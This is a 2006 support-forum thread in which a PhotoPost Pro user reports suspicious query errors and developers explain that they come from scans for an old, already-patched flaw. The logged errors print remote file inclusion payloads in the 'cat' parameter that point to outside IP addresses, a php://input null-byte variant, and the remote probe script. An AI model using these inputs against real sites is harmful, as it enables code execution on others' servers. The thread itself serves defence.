PhotoPost Photo Gallery Sales PhotoPost Sales Toll Free Phone Number
Mon-Fri 9am-4pm EST
  PhotoPost Photo Sharing Photo Gallery    Visualize community tm
| | | | | | | | |

Go Back   PhotoPost Community > PhotoPost Support > PhotoPost Pro Support Forums > Photopost Pro Bug Reports

Photopost Pro Bug Reports Post post installation PhotoPost Pro problems here.

Reply
 
LinkBack Thread Tools Rate Thread Display Modes
Old November 2nd, 2006, 05:03 PM   #1 (permalink)
Member
 
Join Date: Dec 2003
Location: Paris
Posts: 127
Exclamation PP5.5 - sql injection attempts !

Hi,

I got today some error reports in my mails from photopost...
Here is one of the report :
Quote:
An error was encountered during execution of the query:

SELECT id, bigimage, cat, storecat, height, width FROM pp_photos WHERE approved=1 AND userid=5918 AND cat=//195.209.41.200/folder/info.txt ORDER BY date DESC LIMIT 1 [...]
Why is it possible to put text instead of the cat id number, in that MySQL query ? Shouldn't it be casted to (int) before been used into the query ?

I got a few different reports too, which prove that the guy was trying to do bad things with photopost :
Quote:
An error was encountered during execution of the query:

SELECT id, bigimage, cat, storecat, height, width FROM pp_photos WHERE approved=1 AND userid=2282 AND cat=//195.209.41.200/folder/info.txt ORDER BY date DESC LIMIT 1
Quote:
An error was encountered during execution of the query:

SELECT id, bigimage, cat, storecat, height, width FROM pp_photos WHERE approved=1 AND userid=2282 AND cat=ftps://195.137.160.66/info.txt ORDER BY date DESC LIMIT 1
Quote:
An error was encountered during execution of the query:

SELECT id, bigimage, cat, storecat, height, width FROM pp_photos WHERE approved=1 AND userid=8771 AND cat=ftp://195.137.160.66/info.txt ORDER BY date DESC LIMIT 1
Quote:
An error was encountered during execution of the query:

SELECT id, bigimage, cat, storecat, height, width FROM pp_photos WHERE approved=1 AND userid=5918 AND cat=php://input\0 ORDER BY date DESC LIMIT 1
Quote:
An error was encountered during execution of the query:

SELECT id, bigimage, cat, storecat, height, width FROM pp_photos WHERE approved=1 AND userid=2099 AND cat=//195.209.41.200/folder/info.txt\0 ORDER BY date DESC LIMIT 1
On (russian server...), we can read the following content :
Quote:
<?
echo(md5("neverdoharm"));
exit;
die;
?>

Last edited by Michael P; November 2nd, 2006 at 08:09 PM.
flat is offline   Reply With Quote
Old November 2nd, 2006, 05:23 PM   #2 (permalink)
Member
 
Join Date: Dec 2003
Location: Paris
Posts: 127
P.S : for security reason, I don't paste here apache's access log, but I can PM it if needed...
flat is offline   Reply With Quote
Old November 2nd, 2006, 06:10 PM   #3 (permalink)
PhotoPost Developer
Verified Customer
 
Join Date: Jan 2002
Posts: 11,834
It's someone trying to exploit very old versions of PhotoPost; these queries will only generate errors with versions released in the past year and a half or later.
__________________
Please do not PM me for support or sales questions. Thank you for your understanding.
Michael P is offline   Reply With Quote
Old November 2nd, 2006, 07:08 PM   #4 (permalink)
Member
 
Join Date: Dec 2003
Location: Paris
Posts: 127
So, why do I get these bug reports with PP5.5 ?
I think my installation is up to date.

I tried to reproduce the error on viperalley.com, and I got an "unrecoverable error"... so I guess there is still something wrong with PP5 ?
flat is offline   Reply With Quote
Old November 2nd, 2006, 07:47 PM   #5 (permalink)
Photopost Developer
Verified Customer
 
Chuck S's Avatar
 
Join Date: Jun 2002
Location: Abingdon,MD
Posts: 71,699
What Michael is saying is that your going to get a mysql error email but it does not indicate there is an issue.

The issue is the security related sites that freely post vulnerabilities in software so you have people going around trying to exploit things. The exploit is from Photopost 4.8 and below and your not able to be exploited even though people will still try.
__________________
Photopost Developer and Support Engineer

Please do not PM me for support or sales questions. Thank you for your understanding.
Chuck S is offline   Reply With Quote
Old November 2nd, 2006, 08:09 PM   #6 (permalink)
PhotoPost Developer
Verified Customer
 
Join Date: Jan 2002
Posts: 11,834
'cat' in showmembers.php used to be a STRING which could give an error, but prevented SQL injections. In an update we made 'cat' => INT to remove the error messages entirely.

You can change the first typecast to reflect INT versus STRING.
__________________
Please do not PM me for support or sales questions. Thank you for your understanding.
Michael P is offline   Reply With Quote
Old November 4th, 2006, 06:17 AM   #7 (permalink)
Member
 
Join Date: Dec 2003
Location: Paris
Posts: 127
Thanks for these explanations, I feel safe now
flat is offline   Reply With Quote
Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
PP5.31 : sql errors with separate IPB user database flat Photopost Pro Bug Reports 0 August 5th, 2006 12:10 PM
Extra sql line- Joining two sql statements Telnoi How Do I? - vBulletin 3.0.X 0 August 14th, 2005 08:49 AM
Can't admin PP5 in new PP5/vb3 installation berdahl Photopost Pro Installation & Upgrades 4 April 21st, 2005 12:52 AM
Security Alert: XSS and MySQL injection flaws c0bra General Discussion 8 March 29th, 2005 03:53 PM
sql injection attacks stmpspaz General Discussion 1 July 3rd, 2004 09:55 AM


All times are GMT -5. The time now is 05:37 PM.

Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.2.0